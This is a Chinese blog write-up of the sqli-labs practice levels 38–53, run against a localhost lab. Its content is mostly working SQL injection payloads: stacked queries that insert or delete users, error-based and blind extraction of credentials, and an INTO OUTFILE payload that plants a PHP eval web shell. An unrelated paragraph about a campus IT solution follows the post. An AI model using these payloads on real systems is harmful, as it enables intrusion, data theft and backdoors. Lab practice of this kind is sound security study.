Sqli-labs 堆叠注入篇 (Less38~53)

目录

 

 

前言

Less-38   字符型堆叠注入

Less-39  整数型堆叠注入

Less-40  字符型堆叠盲注 

Less-41  整数型堆叠盲注

Less-42  字符型堆叠POST注入

Less-43   字符型堆叠POST变形注入

Less-44  字符型堆叠POST盲注

Less-45  字符型堆叠POST变形盲注

Less-46  Order By整数型显错注入

Less-47  Order By字符型显错注入

Less-48  Order By整数型盲注

Less-49  Order By字符型盲注

Less-50  Order By整数型显错堆叠注入

Less-51  Order By字符型显错堆叠注入

Less-52  Order By整数型堆叠盲注

Less-53  Order By字符型堆叠盲注


 

前言

本blog作为练习笔记,  文笔不才, 仅供参考, 不正之处望大神指正。

堆叠注入篇对应labs的38~53关:

 

 

 

Less-38   字符型堆叠注入

 虽然用很常规的方法都可以注入成功,  但是并不侧重于注入爆数据; 而是考察堆叠注入:

http://localhost:2333/Less-38/index.php
?id=0' union select 1,user(),database(); insert into users(username,password) values('stack', 'stack')%23

发现第二条语句成功执行了。

  • 堆叠注入

堆叠注入(Stacked injections), 从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。

  • 形成原理

看看源码:

总的来说就是mysqli_mylti_query()这个函数可以执行用;分隔的多条语句。
 

 

 

Less-39  整数型堆叠注入

这关和上一关一样了,  只不过这关是整数型,  给出payload:

http://localhost:2333/Less-39/index.php
?id=0 union select 1,user(),database(); insert into users(username,password) values('stack', 'stack')

 

 

 

Less-40  字符型堆叠盲注 

判断得知为字符型盲注,  可用布尔盲注或者延时盲注。

然后判断字段数,  发现order by不成立:

SELECT * FROM users WHERE id=('1' and '1'='1')

后来发现id值还被( )闭合住:

那为什么判断字符型时候的语句:  id=1' and '1'='1 又成立呢?

我们把语句带入SQL语句中就变成:

SELECT * FROM users WHERE id=('1' and '1'='1')

然后注入得字段数为3

我们用布尔盲注爆数据库长度,  下面是payload:

http://localhost:2333/Less-40/index.php?id=1') and length(database())=8 %23

然后剩下的爆库爆表等操作就不再复述了,  之前的博客都有介绍。

(ps:  这里可以使id=0引导成显错注入)

这里继续加入堆叠注入, 比如删除数据库的stack用户: (前提是爆出了表名和用户名)

http://localhost:2333/Less-40/index.php
?id=1') and length(database())=8; delete from users where username='stack';

然后看到stack用户消失:

 

 

 

Less-41  整数型堆叠盲注

这关和上一关一样,  只不过这关是整数型注入:

然后是payload:

http://localhost:2333/Less-41/index.php
?id=1 and length(database())=8; insert into users(username,password) values('stack','stack');

 

 

 

Less-42  字符型堆叠POST注入

这关和 Less-24 二次注入界面 差不多。

开始先判断注入点是否存在于用户名:

然后不管怎么注入都是:

于是判断注入点是否存在于密码:

注入一个单引号 (用户名随意):

报错成功,  password的内容应该是被单引号闭合住,

由此猜测登录的SQL语句为:

SELECT * FROM users WHERE username='$username' and password='$password'

于是可以将password部分的闭合掉,  再加入堆叠注入:

hack'; DELETE FROM users WHERE username='stack';#

成功执行删除语句。

 

 

 

Less-43   字符型堆叠POST变形注入

和上一关大同小异,  不同的是在password处被( )闭合:

首先注入单引号:

可以看到,  有括号闭合,  那么和上一关的payload差不多:

hack'); INSERT INTO users(username,password) values('stack','stack');#

 

 

 

Less-44  字符型堆叠POST盲注

这关也差不多,  除了没有报错信息,其他的没有变化。
当 POST 没有报错回显时,判断查询语句就需要构造永真条件同化登录失败与查询出错,通过返回的图片不同来确定是否符合查询语句闭合的条件。(盲注条件下)

接下来尝试: ( or 语句)

hack" or 1=1#

hack' or 1=1#

hack') or 1=1#

hack") or 1=1#

最后得知为单引号注入: hack' or 1=1#

堆叠注入:

hack'; DELETE FROM users WHERE username='stack';#

执行成功。

 

 

 

Less-45  字符型堆叠POST变形盲注

和上一关一样,  判断构造or语句判断类型的时候,  判断得知为:  hack') or 1=1#

堆叠注入payload:

hack'); INSERT INTO users(username,password) values('stack','stack');#

 

 

 

Less-46  Order By整数型显错注入

接下来几关都是关于order by的注入,  观察一下页面, 

它是根据传入的sort参数来对查询结果排序:

我们尝试对sort参数值注入:

http://localhost:2333/Less-46/index.php?sort=1 and 1=1  (整数型注入)

http://localhost:2333/Less-46/index.php?sort=1' and 1=1# (字符型注入)

http://localhost:2333/Less-46/index.php?sort=(select 2)

最后发现三种情况都无法成立。

这里有两种方法注入:

  • 显错注入

这就和Less-17 updatexml() 显错注入 很神似了。

http://localhost:2333/Less-46/index.php?sort=1 and updatexml(1,concat(0x7e,(database()),0x7e),0)

(0x7e是~的Hex编码) 

然后爆表就是同理可得了:

http://localhost:2333/Less-46/index.php
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

爆users表的字段:

http://localhost:2333/Less-46/index.php
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)

爆数据:

http://localhost:2333/Less-46/index.php
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users limit 0,1),0x7e),1)

  • 拓展

有了注入点,  我们可以尝试写webshell后门了, 

在  Less-7 文件写入注入 有介绍

利用 into outfile  将一句话写入:   

http://localhost:2333/Less-46/index.php
?sort=1 into outfile "./shell.php" lines terminated by 0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e

其中,   ?php eval($_POST["cmd"]);?>的Hex编码就是0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e

执行成功,  看看有没有写入文件:

然后用菜刀连接即可。

 

 

 

Less-47  Order By字符型显错注入

这关和上一关差不多,  区别就在于是字符型注入,  多了单引号闭合:

下面给payload:

http://localhost:2333/Less-47/index.php?sort=1'  and updatexml(1,concat(0x7e,(database()),0x7e),0)%23

其他就和Less-46大同小异,  不再赘述。

 

 

 

Less-48  Order By整数型盲注

这关我们发现没有错误信息回显:

只能通过页面是否正确来判断注入的sql是否被执行。(大多的网站也是这种类型,  有的是直接跳转到指定的错误界面, 也是一样的原理)

既然没有了报错注入, 这里可以用布尔注入或者延时注入,  要利用if()函数和rand()函数

  • 布尔注入

常规的布尔注入在这关并不被接受,  所以这里引入rand()函数:


rand(N) 函数

返回一个0.0~1.0内的随机浮点型数值。

取0~10 (不包括10)的随机浮点值写法:  rand() * 10

取5~10的写法: 5 + rand() * 10

当要取整数的时候,  就要用floor函数来取(下)整。

此外,  当N被指定时,  它将被用作种子值,  每个种子产生的随机数序列是不同的。


那么这里就可以用rand(true|false)来布尔注入了:

当rand(true)时的排序:

当rand(false)时的排序:

然后就可以进行布尔注入了, 比如判断当前数据库长度:

http://localhost:2333/Less-48/index.php?sort=rand(length(database())=8)

这时候就是true时候的排序结果了: 

同理,  接下来的爆表爆字段操作就不再赘述。

  • 延时注入

首先我们先了解order by 语句后面是否给接sleep()函数:

是可以加sleep()函数的,  但是sleep(1)为什么延迟了18秒??

可能是因为order by的排序方法可能是对每一行数据排序都调用一个and后面语句来判断是否成立,  导致了重复地执行sleep(1)。

那么根据这个原理,  注入点就很容易找到了:

http://localhost:2333/Less-48/index.php?sort=1 and sleep(if((1=1),0,1))

然后爆库的操作就是在if中修改布尔判断条件,  和上面的布尔注入是一样的。

当然,  也可以用into outfile来写webshell。

 

 

 

Less-49  Order By字符型盲注

这关和上一关的区别在于这关是字符型,  id值被单引号闭合住:

正因如此,  上一关的布尔rand()注入就用不了,  但是可以用延时注入:

下面是爆数据库长度的payload:

http://localhost:2333/Less-49/index.php?sort=1' and sleep(if((length(database())=8),0,1))%23

剩下的就如出一辙了。

 

 

 

Less-50  Order By整数型显错堆叠注入

这关和 Less-46 一样,  只不过这里可以进行堆叠注入执行多条语句:

在源码中可以看到用了 mysqli_multi_query() 函数:

extractvalue() 报错注入+堆叠注入:

http://localhost:2333/Less-50/index.php
?sort=1 and extractvalue(1,concat(0x7e,(database()),0x7e));  insert into users(username,password) values('stack','stack');

 

 

 

Less-51  Order By字符型显错堆叠注入

多了一对单引号闭合:

http://localhost:2333/Less-51/index.php
?sort=1' and extractvalue(1,concat(0x7e,(database()),0x7e));  delete from users where username='stack'; %23

注意,  这里不会执行第二句delete,  因为在extractvalue() 的时候,  已经引发报错了,  导致接下来的堆叠注入不得以执行。

正确:

http://localhost:2333/Less-51/index.php
?sort=1' ;  delete from users where username='stack'; %23

 

 

 

Less-52  Order By整数型堆叠盲注

和 Less-48 一样,  可以用布尔盲注或者延时注入:

  • 布尔盲注+堆叠注入:
http://localhost:2333/Less-52/index.php
?sort=rand(length(database())=8);  insert into users(username,password) values('stack','stack');

  • 延时注入+堆叠注入:
http://localhost:2333/Less-52/index.php
?sort=1 and sleep(if((length(database())=8),0,1));  insert into users(username,password) values('stack','stack');

 

 

 

Less-53  Order By字符型堆叠盲注

只不过多了一对单引号闭合,  绕开闭合即可:  (这里布尔盲注失效  用延时注入)

 

  • 延时注入+堆叠注入:
http://localhost:2333/Less-53/index.php
?sort=1' and sleep(if((length(database())=7),0,1));  delete from users where username='stack'; %23

 

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
智慧校园整体解决方案是响应国家教育信息化政策,结合教育改革和技术创新的产物。该方案以物联网、大数据、人工智能和移动互联技术为基础,旨在打造一个安全、高效、互动且环保的教育环境。方案强调从数字化校园向智慧校园的转变,通过自动数据采集、智能分析和按需服务,实现校园业务的智能化管理。 方案的总体设计原则包括应用至上、分层设计和互联互通,确保系统能够满足不同用户角色的需求,并实现数据和资源的整合与共享。框架设计涵盖了校园安全、管理、教学、环境等多个方面,构建了一个全面的校园应用生态系统。这包括智慧安全系统、校园身份识别、智能排课及选课系统、智慧学习系统、精品录播教室方案等,以支持个性化学习和教学评估。 建设内容突出了智慧安全和智慧管理的重要性。智慧安全管理通过分布式录播系统和紧急预案一键启动功能,增强校园安全预警和事件响应能力。智慧管理系统则利用物联网技术,实现人员和设备的智能管理,提高校园运营效率。 智慧教学部分,方案提供了智慧学习系统和精品录播教室方案,支持专业级学习硬件和智能化网络管理,促进个性化学习和教学资源的高效利用。同时,教学质量评估中心和资源应用平台的建设,旨在提升教学评估的科学性和教育资源的共享性。 智慧环境建设则侧重于基于物联网的设备管理,通过智慧教室管理系统实现教室环境的智能控制和能效管理,打造绿色、节能的校园环境。电子班牌和校园信息发布系统的建设,将作为智慧校园的核心和入口,提供教务、一卡通、图书馆等系统的集成信息。 总体而言,智慧校园整体解决方案通过集成先进技术,不仅提升了校园的信息化水平,而且优化了教学和管理流程,为学生、教师和家长提供了更加便捷、个性化的教育体验。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值